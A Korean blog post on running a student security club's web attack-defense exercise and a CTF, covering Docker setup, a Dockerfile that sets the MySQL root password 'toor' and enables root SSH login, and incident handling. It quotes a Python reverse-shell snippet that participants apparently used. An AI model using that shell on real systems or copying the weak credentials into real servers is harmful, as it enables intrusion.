올해 저는 교내 보안동아리 K.Knock의 부회장으로 활동 중입니다.

저희 동아리의 연례행사인 웹 사이트 공방전이 8월에 이루어졌습니다.

웹 사이트 공방전은 준회원들이 직접 개발한 웹 사이트를 서로 여러 공격 기법을 활용하여 정해진 시간 동안 모의 해킹하고 쉬는 시간 동안 여러 보호 기법을 적용하여 공격을 방어하는 구조로 이루어집니다.

 

올해 대회는 08-24T 12:00 ~ 08-26T 15:00까지 51시간 진행되었습니다.

 

운영 방안을 두고 고민을 많이했습니다.

우선 대회 시작 전 준비 얘기부터 시작해보겠습니다.

 

예상 참여인원이 작년보다 많아서 이 트래픽에 대해 먼저 고민하였습니다.

서버 관리담당 인원과 1차 회의 결과 AWS Free-tier를 활용해서 팀마다 서버를 돌리기로 하였습니다.

팀 내 유저마다 격리를 위해 docker를 활용하기로 해서 제가 기초적인 환경이 설정된 이미지를 만들기로 하였습니다.

 

제가 처음 생각한 이상적인 구조는 httpd 이미지나 php 이미지를 베이스로 해서 여러 가지 프로그램 설치 구문을 추가하여 이미지로 만들고 해당 이미지와 mysql 이미지를 활용해서 docker-compose로 손쉽게 구성하도록 하는 것이었습니다.

 

근데 여기서 첫 번째 고민이 생깁니다.

docker container에 대한 운영주체가 준회원이라는 점이었는데 뛰어난 실력을 가진 분들도 많지만 대부분 새로운 환경 적응을 어려워하기에 처음 생각한 구조를 바꿀 필요가 있었습니다.

 

그리하여 가장 많이 사용해봤을 우분투 이미지를 기반으로 해당 이미지 내에 Apache2 + Php + Mysql8을 구축하는 방향으로 생각을 바꾸었습니다.

 

초기 환경 테스트를 위해 참여 인원들에게 환경 구축을 해보도록 했는데 문제가 생깁니다.

mysql 연결이 계속 에러가 나는 겁니다.

 

free-tier에 container 여러 개를 돌리다 보니 문제가 생긴 것 같은데 제 테스트 환경에선 문제가 없었어서 더 난감했습니다 ㅠㅠ...

 

고민 끝에 낸 해결방안은 supervisor 데몬을 활용하여 mysqld가 꺼져도 다시 켜질 수 있는 구조를 구축하는 것이었습니다.

 

[program:apache2]
command=/usr/sbin/apache2ctl -D FOREGROUD
autostart=true
autorestart=true

[program:mysql]
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/bin/mysqld_safe
autostart=true
autorestart=true

[program:sshd]
command=/usr/sbin/sshd
autostart=true
autorestart=true

superviosr는 다음과 같이 설정하였습니다.

autostart는 초기에 자동으로 키는 것이고 autorestart는 꺼졌을 때 자동으로 재시작을 활성화하는 옵션입니다.

 

FROM ubuntu:20.04

ARG DEBIAN_FRONTEND=noninteractive
ENV TZ Asia/Seoul

RUN sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list \
	&& apt-get update

# apache2 + basic tools
RUN apt-get install -y apache2 wget vim net-tools tmux curl lrzsz \
	cron python3-distutils tzdata rdate openssh-server supervisor

# SET TIMEZONE
RUN ln -fs /usr/share/zoneinfo/Asia/Seoul /etc/localtime

# php7.4
RUN apt-get install -y php7.4
RUN apt-get install -y php7.4-bz2 php7.4-cgi php7.4-cli php7.4-common \
	php7.4-curl php7.4-dev php7.4-fpm php7.4-gd php7.4-json php7.4-ldap \
	php7.4-mbstring php7.4-mysql php7.4-odbc php7.4-opcache php7.4-readline \
	php7.4-snmp php7.4-soap php7.4-tidy php7.4-xml php7.4-xmlrpc php7.4-xsl php7.4-zip

# apache-php
RUN a2enmod proxy_fcgi setenvif
RUN a2enconf php7.4-fpm

# mysql8 - not yet
RUN apt-get -q -y install mysql-server-8.0
RUN wget -q https://gist.githubusercontent.com/l0vey0u/9c55d839c0a8774722569b8e5e07e263/raw/9cfcf119fcabb9e510bf83745bb8e0a6e1660658/mysql_secure.sh -O mysql_secure.sh
RUN chmod +x mysql_secure.sh && service mysql restart && ./mysql_secure.sh "toor" \
	&& mysql -uroot -ptoor -e "ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'toor'; flush privileges;"

# install pip
RUN curl -s https://bootstrap.pypa.io/get-pip.py -o get-pip.py \
	&& ln -s /usr/bin/python3 /usr/bin/python \
	&& python get-pip.py \
	&& pip install pymysql
  
# ssh
RUN sed 's/#PermitRootLogin.*/PermitRootLogin yes/g' -i /etc/ssh/sshd_config && mkdir /var/run/sshd

# SET Supervisor
WORKDIR /etc/supervisor/conf.d
RUN rm -f supervisord.conf \
	&& wget -q https://gist.githubusercontent.com/l0vey0u/986f18ac8c868078721660538654390a/raw/307a8d7e1ea41db70ccb260767e0b4fec3969830/supervisord.conf_v2 -O custom.conf

# Setting docker-entrypoint.sh
WORKDIR /
RUN wget -q https://gist.githubusercontent.com/l0vey0u/d11a02fdff3756f736e60d817ea80385/raw/547b352060386cf69d988eaf00fa24b33ec830bf/docker-entrypoint.sh_v2 -O docker-entrypoint.sh \
	&& chmod +x docker-entrypoint.sh \
    && mv docker-entrypoint.sh /usr/local/bin/

# Time Sync 
# cron m h d ~ ~ 
RUN touch /var/log/cron_error.log \
	&& echo "0 */3 * * * root rdate -s time.bora.net >> /var/log/cron_error.log 2>&1" >> /etc/crontab

ENTRYPOINT ["/bin/sh", "-c" , "/etc/init.d/cron start && docker-entrypoint.sh"]

최종적으로 다음과 같이 구축하였습니다.

 

맨 마지막 cron 부분은 공방전이 3시간마다 flag를 변경해주는 구조로 이루어져 시간 동기화가 필요했습니다.

 

이렇게 열심히 해보았지만 성능 이슈가 해결안 돼서 결국 2차 회의를 거쳐 준회원 개인이 aws 서버를 파서 진행하는 것으로 바뀝니다.

 

다음부터는 공방전 플랫폼을 미리 만들어두는 것이 좋을 것 같습니다.

 

물론 준회원의 웹사이트 개발 진도가 빠르지 않은 것도 있었지만 공방전 플랫폼 구축 문제가 겹쳐서 예정보다 공방전이 지연됐고 이 문제로 일정이 맞지 않아 제대로 참여하지 못한 분이 있는 것이 안타까웠습니다.

 

대회 동안에 큰 이슈는 없었습니다.

사소한 이슈지만 새벽에 개인 pc를 서버로 사용하고 있던 분이 pc를 꺼버리셔서 간밤에 접속이 안 됐었습니다.

정말 예상된 상황이지만 예상을 벗어나진 않았습니다 ㅋㅋ

 

공방전에서 flag는 서버 내부와 DB내에 저장되는데 이는 RCE ( or lfi )와 SQLi를 유도한 구조입니다.

초반에는 적용된 보호 기법이 허술하여 all solve가 많이 나왔는데

대회 동안 공격 로그를 확인하면서 보호기법이 계속 발전해서 후반부에는 몇몇 준회원은 rce vector가 나오지 않았습니다.

 

제일 흥미로웠던 부분은 Maria DB를 사용했던 분이 있었는데

select load_file()

해당 구문으로 파일을 불러올 수 있었다는 점입니다.

최근엔 보통 지정된 디렉터리만 허용되게 설정돼있는데 이전 버전으로 설치한 것인지 아니면 개인의 필요에 의해서 설정을 바꾼 것인지는 확인해보지 못했습니다.

 

작년 기수 + 올해 기수로 팀이 이루어지는데 이는 선 후배 간에 소통을 유도하면서 준회원들에게 조금 더 의욕을 주고자 함입니다.

총 3팀이었는데 한 팀은 이 소통이 매우 잘 이루어져서 뿌듯했지만 두 팀은 선배 기수가 너무 바쁜 나머지 이루어지지 못한 게 아쉬웠습니다.

 

항상 느끼는 점이지만 공방전과 CTF에서는 생각해보지 못한 고수가 발견되는 것 같습니다.

한 팀을 캐리 하는 준회원 분이 있었는데 혼자서 작년 기수보다도 많은 점수를 획득하여 결국 MVP로 선정되었습니다.

 

공방전 이전, 이후로 바빠서 정신이 없어서 좀 지나고 나서 쓰다 보니 기억이 가물가물하네요

더 생각나는 스토리가 있으면 추가해보겠습니다.

 

보안 동아리에서 공방전은 꽤 의미 있는 행사인 것 같습니다.

꼭 웹이 아니여도 어떤 분야에서도 구축하고, 공격해보고 로그를 확인하고 보호 조치하는 법은 중요하기에 적극 추천드립니다.

 

올해 인코그니토 CTF 운영진으로 활동하였습니다.

대회는 08-27T18:00 ~ 08-29T00:00 까지 30시간 진행되었습니다.

 

전 날까지 동아리 공방전을 운영하고 왔던 터라 시작도 전에 힘들었습니다.

일주일에 몬스터 두캔, 아메리카노 다수, 박카스 3병...

제 간이 욕하는 소리가 들리네요.

 

우선 대회 시작전 준비 얘기부터 시작해보겠습니다.

 

처음 AWS랑 만났습니다.

 

AWS는 참 말이 많은 아이입니다.

방심하면, 설정을 잘못하면, 얼타면 과금된다고 하죠

다행히 저희 CTF에서 사용하기로 한 것은 lightsail이였습니다.

lightsail은 ec2보단 설정이 간편합니다.

그저 ssh 포트에 IP 제한 걸고 열고 싶은 포트만 열고 그정도죠.

 

ctf 사이트는 가장 유명한 ctfd 프로젝트를 사용하였습니다.

도커로 상당히 잘 구성되있어 인증서 관련하여 nginx만 건들였습니다.

 

ctfd는 참 좋긴 한데 분야가 web + crypto 같이 여러개일 때 아쉬운 것 같습니다.

KCTF 운영할 때는 좀 더 괜찮은 프로젝트를 구경해봐야겠습니다.

 

https://github.com/juice-shop/juice-shop-ctf

 

GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF a

Capture-the-Flag (CTF) environment setup tools for OWASP Juice Shop supporting CTFd, FBCTF and RootTheBox - GitHub - juice-shop/juice-shop-ctf: Capture-the-Flag (CTF) environment setup tools for OW...

github.com

 

잠깐 찾아봤는데 이것도 괜찮을 것 같습니다.

 

ctfd를 로컬에서 운영하는 것도 생각했습니다.

ctf 사이트도 취약점이 있을 수 있기에 따로 격리를 위해 도커를 사용하였습니다.

 

두 번째 과제는 문제를 서버에 등록하는 것이였습니다.

docker-compose는 상당히 편합니다.

출제자가 잘 구성해놓으면 저는 docker-compose up -d --build만 하면 되죠

 

"출제자가 잘 구성해놓으면"이 핵심입니다.

대부분의 문제는 잘 구성되있었습니다.

그래서 구축 시간의 단축을 위해 아래 명령어로 패키지 저장소만 손봤습니다.

sed -i 's/archive.ubuntu.com/mirror.kakao.com/g' /etc/apt/sources.list && apt-get update

 

한 세 문제 정도가 단순히 구축이 안되었습니다.

첫 번째 문제는 docker 이미지를 hub에 올려서 그걸 띄워달라 하셨습니다.

하지만 그걸 외부에서 어떻게 접근할지에 대한 설명이 없으셨습니다.

따로 연락을 해서 이 부분을 명확히 해서 다시 제출을 부탁드렸습니다.

 

두 번째 문제는 FROM $IMAGE로 변수에 제대로 값이 안와서 build가 힘들었습니다.

나중에 알고보니 docker-compose.yml이 같이 제공이 안된 단순한 이슈였습니다.

 

세 번째 문제는 출제자 측에서 연락이 왔습니다.

"PoC 대로 입력했는데 500 Error 가 터져요"

그래서 서버로그를 확인해보니 한글 관련 인코딩 이슈였습니다.

딱히 해결되는 것 같지가 않아서 그냥 한글을 지웠습니다.

근데 SSTI를 통해 RCE가 가능하여 id 명령어를 쳐봤는데

root로 떴습니다.

이 때 수정했어야 했습니다.

root의 힘은 어느정도냐 함은 apt install 도 가능합니다.

일단 나둔 이유는 출제자가 풀이를 위해 의도한 것이라 생각했기 때문입니다.

 

그렇게 CTF가 시작되고 얼마 지나지 않아 갑자기 CPU 사용률이 3~40%로 증가하였습니다.

얼마 안되보이지만 8 core라는걸 잊으면 안됩니다.

 

앱스토어에 server cat이라는 좋은 서버 모니터링 프로그램이 있습니다.

https://apps.apple.com/us/app/servercat-linux-status-ssh/id1501532023

 

‎ServerCat - Linux Status & SSH

‎ServerCat is a Linux monitor and Docker Management & SSH Terminal app. ServerCat makes it easy to monitor your server status on your mobile. It shows detail running status of your linux servers and docker containers. It only needs an SSH account without

apps.apple.com

무려 docker 컨테이너 상황까지 알려줘서 모니터링 보조로 사용하였습니다.

 

시작하자마자 docker container 하나가 불타오르기 시작합니다.

바로 root 권한으로 RCE가 가능했던 그 문제 였습니다.

100%... 200% ... 300% 까지 심각해지고 있어서 docker log를 확인하였습니다.

find . -name "flag"를 많은 유저분께서 돌리고 계셨습니다.

SSTI 취약점이 별다른 우회없이, 막힌 것 없이 돌아가서 더더욱 초반부터 의도하지 않았을 DoS 공격이 이루어졌습니다.

컨테이너의 상황을 알기 위해서 사용한 명령어들은 아래와 같습니다.

# docker container 전체 상황 확인
# --no-stream은 딱 그 순간만 보여주는 것 기본은 명령어를 치고나서 계속 보여준다.
docker stats --no-stream

# 특정 컨테이너 상황을 보는법
docker stats ${container_name} --no-stream

# 컨테이너 로그 확인
docker logs ${container_name}

# 컨테이너 로그 위치 
# 전 해당 경로에 접근하기 위해서 root 권한이 요구됬었습니다.
/var/lib/docker/cotainers/${CONTAINER_ID}/${CONTAINER_ID}-json.log

 

그래서 좀 cpu 사용률을 제한 할 수 없나 하고 사용한 것이 바로 --cpus 옵션입니다.

docker update --cpus "2" ${CONTAINER_ID} # 2 = 200%

최대 사용률을 제한해 놨더니 일단 서버 부하는 어느정도 해결되었습니다.

 

그런데 제보가 들어옵니다.

1시간 반만에 PoC가 안통한다고 연락이 와서 bash로 접근하려 했는데 연결이 안됩니다.

log를 확인하니 ㅎ.. 누가 rm -rf * 명령어를 쳤습니다.

 

어뷰징이 있을 수 있다라곤 생각했지만 이런 대회에서 할 거라곤 생각도 안했습니다.

그렇게 서버를 내렸고 전 라이브 패치를 시작했습니다.

 

문제 풀이에 지장이 가지 않는 선에서 어뷰징 문제만 해결해야 했습니다.

그래서 우선 USER를 root가 아닌 일반 유저로 만들었습니다.

그리고 서버내에서 flag를 찾는 문제가 아니였기 때문에 몇 가지 명령어에 실행권한을 제거했습니다.

 

나중에 컨테이너에 직접적으로 수정할이 생겨서 docker exec을 활용하려는데 문제가 생겼습니다.

일반 사용자 권한으로 접근되버린 것입니다.

그래서 좀 찾아보니 --user 옵션으로 root권한으로 접근이 가능했습니다.

 

그 후 새벽에는 좀 문제 관련 피드백 해주고 제가 낸 문제 access.log 확인하면서 시간을 보냈습니다.

 

둘째 날 오후까지 평온했는데 가장 큰 문제가 발생합니다.

처음엔 그저 문제 사이트가 접속이 안되어 재시작하겠다는 내용이였는데

쉘에 접근이 안된다는 소리를 듣게 됩니다.

전 ssh key 관련 문제일려나 싶어서 pem 파일을 드리려는데 서버가 다운됬다는 소식을 듣습니다.

..................

그렇게 멘붕이 와서 보니 또 범인은 똑같았습니다.

user 권한이지만 너무 많은 유저들이 프로세스를 생성하여 해당 컨테이너가 만든 pid가 상당했습니다.

 

그래서 pid 제한 옵션을 또 걸었습니다.

docker update --pids-limt 100 ${CONTAINER_ID}

 

또 다른 이슈가 나왔는데 누가 flask를 제거한 것 이였습니다.

...? 그게 되나 싶어 pip uninstall을 해보니 잘 됩니다..?

그래서 누가 범인이지 하고 찾으러 가는데

가는데... 로그가 존재하지 않습니다.

무슨 일인가 싶었는데 운영팀장님께서 원인을 찾아내셨습니다.

 

import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect("IP", port)
## maybe file descriptor
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/sh")

이런 식으로 socket 통신을 통해 쉘을 획득하면 로그도 상대방에게 갑니다.

...!

누가 지웠는지는 모르겠고 일단 재시작을 하고 똑같은 이슈는 없었습니다. 다행히...

 

일단 docker의 장점이 여기서도 보인것이 서버가 재시작되었지만 제가 컨테이너 대부분에 restart 옵션을 두어서

몇 서버 빼고 정상 운영되었습니다.

 

"그 문제"가 젤 아쉬웠습니다.

500에러는 서버측 에러라는 뜻이기에 저희에게 화살이 돌아옵니다.

운영진이 서버를 잘 운영안한다면서 말이죠

 

하지만 이는 문제 제공자가 error handling을 제대로 안해서 생긴 문제입니다.

저희도 억울할 수 밖에 없지요 ㅠㅠ..

 

좀 이런 부분은 소양 교육이나 가이드 라인을 만들면 좋을 것 같습니다.

 

말 나온김에 CTF 출제 가이드 라인을 만들어놔야 겠습니다.

 

좀 많이 아쉽기는 했지만 그래도 대규모 트래픽에 대해 대처해본 경험을 할 수 있어 좋았습니다.

 

CTF 문제 검수를 잘 한다면 내년엔 더 좋아질 겁니다.

 

다음 포스트는 동아리 공방전 운영 이야기를 써보겠습니다.

 

certbot 이용해서 *.domain으로 인증서를 받고 적용하면 domain으로 접속시 보안 경고를 맞이하게 됩니다.

다음과 같이 domain으로도 같이 받으면 됩니다.

docker run -it --rm --name certbot \
	-v '/etc/letsencrypt:/etc/letsencrypt' \
	-v '/var/lib/letsencrypt:/var/lib/letsencrypt' \
	certbot/certbot certonly \
    -d '*.domain' -d 'domain' \
    --email name@email.com --manual \
    --preferred-challenges dns \
    --server https://acme-v02.api.letsencrypt.org/directory

+ Recent posts